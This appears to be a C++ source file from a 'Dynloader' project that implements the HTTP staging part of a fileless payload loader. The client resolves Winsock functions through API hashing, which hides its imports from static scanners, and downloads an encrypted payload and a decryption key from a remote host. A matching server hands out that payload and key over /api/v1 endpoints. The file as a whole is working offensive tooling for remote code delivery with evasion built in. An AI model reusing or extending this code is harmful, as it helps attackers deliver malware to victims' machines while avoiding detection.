Files
AbishekPonmudi-Dynloader/lib/net/http_transport.cpp
T
2026-07-10 11:56:50 -07:00

361 lines
13 KiB
C++

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include "http_transport.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include <fstream>
#include <sstream>
#include <cstring>
namespace HttpTransport {
namespace {
struct WinsockApi {
decltype(&WSAStartup) WSAStartupFn = nullptr;
decltype(&WSACleanup) WSACleanupFn = nullptr;
decltype(&socket) socketFn = nullptr;
decltype(&connect) connectFn = nullptr;
decltype(&send) sendFn = nullptr;
decltype(&recv) recvFn = nullptr;
decltype(&closesocket) closesocketFn = nullptr;
decltype(&bind) bindFn = nullptr;
decltype(&listen) listenFn = nullptr;
decltype(&accept) acceptFn = nullptr;
decltype(&getaddrinfo) getaddrinfoFn = nullptr;
decltype(&freeaddrinfo) freeaddrinfoFn = nullptr;
decltype(&setsockopt) setsockoptFn = nullptr;
bool loaded = false;
bool started = false;
};
bool LoadWinsock(WinsockApi& ws) {
if (ws.loaded) {
return true;
}
ws.WSAStartupFn = reinterpret_cast<decltype(ws.WSAStartupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSAStartup));
ws.WSACleanupFn = reinterpret_cast<decltype(ws.WSACleanupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSACleanup));
ws.socketFn = reinterpret_cast<decltype(ws.socketFn)>(ApiResolver::ResolveWs2(Hashes::H_socket));
ws.connectFn = reinterpret_cast<decltype(ws.connectFn)>(ApiResolver::ResolveWs2(Hashes::H_connect));
ws.sendFn = reinterpret_cast<decltype(ws.sendFn)>(ApiResolver::ResolveWs2(Hashes::H_send));
ws.recvFn = reinterpret_cast<decltype(ws.recvFn)>(ApiResolver::ResolveWs2(Hashes::H_recv));
ws.closesocketFn = reinterpret_cast<decltype(ws.closesocketFn)>(ApiResolver::ResolveWs2(Hashes::H_closesocket));
ws.bindFn = reinterpret_cast<decltype(ws.bindFn)>(ApiResolver::ResolveWs2(Hashes::H_bind));
ws.listenFn = reinterpret_cast<decltype(ws.listenFn)>(ApiResolver::ResolveWs2(Hashes::H_listen));
ws.acceptFn = reinterpret_cast<decltype(ws.acceptFn)>(ApiResolver::ResolveWs2(Hashes::H_accept));
ws.getaddrinfoFn = reinterpret_cast<decltype(ws.getaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo));
ws.freeaddrinfoFn= reinterpret_cast<decltype(ws.freeaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo));
ws.setsockoptFn = reinterpret_cast<decltype(ws.setsockoptFn)>(ApiResolver::ResolveWs2(Hashes::H_setsockopt));
ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn;
return ws.loaded;
}
bool EnsureWinsock(WinsockApi& ws) {
if (!LoadWinsock(ws)) {
return false;
}
if (!ws.started) {
WSADATA wsa{};
if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) {
return false;
}
ws.started = true;
}
return true;
}
bool HttpGet(const Endpoint& ep, const char* path, std::vector<std::uint8_t>& body) {
Log::Banner("HTTP GET (fileless client)");
Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path);
WinsockApi ws{};
if (!EnsureWinsock(ws)) {
Log::Dbg("winsock load/WSAStartup failed");
return false;
}
Log::Dbg("winsock ready");
addrinfo hints{};
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
addrinfo* result = nullptr;
const auto portStr = std::to_string(ep.port);
if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) {
Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str());
return false;
}
Log::Dbg("getaddrinfo OK — connecting...");
SOCKET sock = INVALID_SOCKET;
for (auto* ptr = result; ptr; ptr = ptr->ai_next) {
sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (sock == INVALID_SOCKET) {
continue;
}
if (ws.connectFn(sock, ptr->ai_addr, static_cast<int>(ptr->ai_addrlen)) == 0) {
Log::Sys("connected socket=%llu family=%d",
static_cast<unsigned long long>(sock), ptr->ai_family);
break;
}
ws.closesocketFn(sock);
sock = INVALID_SOCKET;
}
ws.freeaddrinfoFn(result);
if (sock == INVALID_SOCKET) {
Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port);
return false;
}
std::ostringstream req;
req << "GET " << path << " HTTP/1.1\r\n"
<< "Host: " << ep.host << "\r\n"
<< "Connection: close\r\n\r\n";
const std::string reqStr = req.str();
Log::Dbg("send request (%zu bytes)", reqStr.size());
if (ws.sendFn(sock, reqStr.c_str(), static_cast<int>(reqStr.size()), 0) <= 0) {
Log::Dbg("send failed");
ws.closesocketFn(sock);
return false;
}
std::vector<std::uint8_t> response;
char buf[4096];
for (;;) {
const int n = ws.recvFn(sock, buf, sizeof(buf), 0);
if (n <= 0) {
break;
}
response.insert(response.end(), buf, buf + n);
}
ws.closesocketFn(sock);
Log::Dbg("recv total response=%zu bytes", response.size());
// Find end of HTTP headers
const char* data = reinterpret_cast<const char*>(response.data());
const char* hdrEnd = strstr(data, "\r\n\r\n");
if (!hdrEnd) {
Log::Dbg("no HTTP header terminator");
return false;
}
const size_t bodyOff = (hdrEnd - data) + 4;
size_t contentLen = 0;
const char* cl = strstr(data, "Content-Length:");
if (cl && cl < hdrEnd) {
contentLen = static_cast<size_t>(std::strtoul(cl + 15, nullptr, 10));
}
Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen);
if (contentLen > 0 && bodyOff + contentLen <= response.size()) {
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff),
response.begin() + static_cast<ptrdiff_t>(bodyOff + contentLen));
} else if (bodyOff < response.size()) {
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff), response.end());
} else {
body.clear();
}
Log::Info("HTTP body size=%zu for %s", body.size(), path);
return true;
}
std::string BuildHttpResponse(const std::vector<std::uint8_t>& body, const char* contentType) {
std::ostringstream oss;
oss << "HTTP/1.1 200 OK\r\n"
<< "Content-Type: " << contentType << "\r\n"
<< "Content-Length: " << body.size() << "\r\n"
<< "Connection: close\r\n\r\n";
std::string hdr = oss.str();
std::string out = hdr;
out.append(reinterpret_cast<const char*>(body.data()), body.size());
return out;
}
bool ReadFileBytes(const std::wstring& path, std::vector<std::uint8_t>& out) {
std::ifstream f(path, std::ios::binary | std::ios::ate);
if (!f.is_open()) {
return false;
}
out.resize(static_cast<size_t>(f.tellg()));
f.seekg(0);
f.read(reinterpret_cast<char*>(out.data()), out.size());
return true;
}
void HandleClient(WinsockApi& ws, SOCKET client,
const std::vector<std::uint8_t>& payload, const std::vector<std::uint8_t>& keyBlob,
bool /*verbose*/) {
char buf[2048] = {};
const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0);
// First request line only for clean logs
char reqLine[128] = {};
{
size_t i = 0;
while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') {
reqLine[i] = buf[i];
++i;
}
}
Log::Srv("accept client sock=%llu recv=%d req=\"%s\"",
static_cast<unsigned long long>(client), nrecv, reqLine);
std::vector<std::uint8_t> response;
const char* route = "404";
size_t bodyBytes = 0;
if (strstr(buf, "GET /api/v1/payload")) {
route = "/api/v1/payload";
bodyBytes = payload.size();
auto http = BuildHttpResponse(payload, "application/octet-stream");
response.assign(http.begin(), http.end());
} else if (strstr(buf, "GET /api/v1/key")) {
route = "/api/v1/key";
bodyBytes = keyBlob.size();
auto http = BuildHttpResponse(keyBlob, "application/octet-stream");
response.assign(http.begin(), http.end());
} else if (strstr(buf, "GET /api/v1/health")) {
route = "/api/v1/health";
bodyBytes = 2;
const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
response.assign(ok, ok + strlen(ok));
} else {
const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
response.assign(nf, nf + strlen(nf));
}
const int nsent = ws.sendFn(client, reinterpret_cast<const char*>(response.data()),
static_cast<int>(response.size()), 0);
Log::Srv("reply route=%s body=%zu wire=%zu sent=%d",
route, bodyBytes, response.size(), nsent);
ws.closesocketFn(client);
}
} // namespace
bool ParseSource(const std::string& source, Endpoint& out) {
out = {};
out.port = 8080;
const auto colon = source.find(':');
if (colon == std::string::npos) {
out.host = source;
return !out.host.empty();
}
out.host = source.substr(0, colon);
try {
out.port = static_cast<std::uint16_t>(std::stoi(source.substr(colon + 1)));
} catch (...) {
return false;
}
return !out.host.empty();
}
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body) {
return HttpGet(ep, "/api/v1/payload", body);
}
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body) {
return HttpGet(ep, "/api/v1/key", body);
}
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
const std::vector<std::uint8_t>& keyBlob, bool verbose) {
// Prefer explicit flag; also honor Log server channel if already enabled.
if (verbose) {
Log::SetServerVerbose(true);
}
Log::SrvBanner("HTTP Bind");
Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port);
WinsockApi ws{};
if (!EnsureWinsock(ws)) {
Log::Srv("winsock load failed");
return false;
}
Log::Srv("winsock APIs resolved (hash) + started");
addrinfo hints{};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
addrinfo* result = nullptr;
const auto portStr = std::to_string(port);
if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) {
Log::Srv("getaddrinfo failed for port %s", portStr.c_str());
return false;
}
SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol);
if (listenSock == INVALID_SOCKET) {
Log::Srv("socket() failed");
ws.freeaddrinfoFn(result);
return false;
}
Log::Srv("listen socket=%llu", static_cast<unsigned long long>(listenSock));
int yes = 1;
ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&yes), sizeof(yes));
Log::Srv("SO_REUSEADDR=1");
if (ws.bindFn(listenSock, result->ai_addr, static_cast<int>(result->ai_addrlen)) != 0) {
Log::Srv("bind failed on port %u", port);
ws.closesocketFn(listenSock);
ws.freeaddrinfoFn(result);
return false;
}
ws.freeaddrinfoFn(result);
Log::Srv("bind OK 0.0.0.0:%u", port);
if (ws.listenFn(listenSock, SOMAXCONN) != 0) {
Log::Srv("listen failed");
ws.closesocketFn(listenSock);
return false;
}
Log::Srv("listen OK backlog=SOMAXCONN");
// Always show ready line; details only with --verbose
Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)",
port, payload.size(), keyBlob.size());
Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health");
Log::Srv("waiting for clients...");
for (;;) {
SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr);
if (client == INVALID_SOCKET) {
Log::Srv("accept returned INVALID_SOCKET — retry");
continue;
}
HandleClient(ws, client, payload, keyBlob, verbose);
}
}
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) {
std::vector<std::uint8_t> payload;
std::vector<std::uint8_t> keyBlob;
if (!ReadFileBytes(payloadPath, payload)) {
return false;
}
// Key is optional for non-encrypted payloads
ReadFileBytes(keyPath, keyBlob);
return RunServerMemory(port, payload, keyBlob, false);
}
} // namespace HttpTransport